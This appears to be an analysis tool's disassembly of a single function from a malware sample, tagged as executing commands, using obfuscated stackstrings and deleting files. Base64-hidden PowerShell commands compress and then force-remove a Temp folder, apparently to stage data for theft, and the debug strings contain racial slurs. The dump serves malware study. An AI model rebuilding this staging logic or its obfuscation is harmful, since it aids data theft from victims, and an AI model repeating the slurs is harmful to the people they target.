Function at 0x401610
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command

Disassembly:
push edi
push esi
push ebx
sub esp, 0xaf0
mov dword [esp], str.Bondo
call sym._puts
lea eax, [esp + 0x28]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.gaga
mov ebx, eax
call sym._puts
mov dword [esp + 0x10], ebx
lea ebx, [esp + 0x64]
mov dword [esp], ebx
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
call sym._sprintf
mov dword [esp], ebx
mov dword [esp + 4], 0x424061
call sym._check_exist
mov dword [esp], str.mongo
call sym._puts
call sym._get_uid
mov dword [esp], str.MACH_UID:__s_n
mov dword [esp + 4], eax
mov ebx, eax
call sym._printf
mov dword [esp], str.NIgga
call sym._puts
lea eax, [esp + 0x2c]
mov dword [esp + 0x37], 0x33394763
mov dword [esp + 4], eax
lea eax, [esp + 0x37]
mov dword [esp], eax
mov dword [esp + 0x3b], 0x7a4a585a
mov dword [esp + 0x3f], 0x73564761
mov dword [esp + 0x43], 0x44424362
mov dword [esp + 0x47], 0x77313262
mov dword [esp + 0x4b], 0x7a566d63
mov dword [esp + 0x4f], 0x42317963
mov dword [esp + 0x53], 0x6f4e6d63
mov dword [esp + 0x57], 0x6c5a5861
mov dword [esp + 0x5b], 0x51314349
mov dword [esp + 0x5f], 0x6f525859
mov byte [esp + 0x63], 0
call sym._base64_decode
mov dword [esp], str.CONTROL:__s_n
mov dword [esp + 4], eax
mov esi, eax
call sym._printf
mov dword [esp], str.yero
call sym._puts
mov dword [esp + 8], esi
lea esi, [esp + 0x190]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], 0x447540
mov dword [esp + 0xc], 0x447740
mov dword [esp + 4], str._s__s__DestinationPath__s_s.zip
mov dword [esp], esi
call sym._sprintf
mov dword [esp + 4], esi
mov dword [esp], str.ZIP_CMD:__s_n
call sym._printf
mov dword [esp], esi
call sym._system
test eax, eax
je 0x401890
mov dword [esp], str.Zip_process_2_failed
call sym._puts
lea esi, [esp + 0x4b0]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x447540
mov dword [esp + 4], str._s_s.zip
mov dword [esp], esi
call sym._sprintf
mov dword [esp], esi
call sym._findSize
mov dword [esp + 4], esi
mov dword [esp], str.File_to_split:__s_n
mov edi, eax
call sym._printf
mov eax, 0x431bde83
imul edi
sar edi, 0x1f
sar edx, 0x12
sub edx, edi
mov eax, edx
neg eax
cmovs eax, edx
cmp eax, 1
jle 0x4018a8
mov dword [esp + 4], eax
mov dword [esp], esi
call sym._split_file
mov dword [esp], esi
call sym._remove
test eax, eax
jne 0x4018c0
mov dword [esp], str.Muh_bongo_zip
lea esi, [esp + 0x7d0]
call sym._puts
lea eax, [esp + 0x30]
mov dword [esp], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0xc], 0x447740
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Force__Recurse
mov dword [esp], esi
call sym._sprintf
mov dword [esp], esi
call sym._system
test eax, eax
je 0x401880
mov dword [esp], str.Removal_failed
call sym._puts
mov dword [esp], ebx
call sym._free
add esp, 0xaf0
xor eax, eax
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.Removed_zip_dir_successfully
call sym._puts
jmp 0x40186b
mov dword [esp], str.Zipped_up_ok
call sym._puts
jmp 0x401798
mov dword [esp], str.Only_one_file__nigger
call sym._puts
jmp 0x401810
mov dword [esp], str.Remove_zip_failed
call sym._puts
jmp 0x401810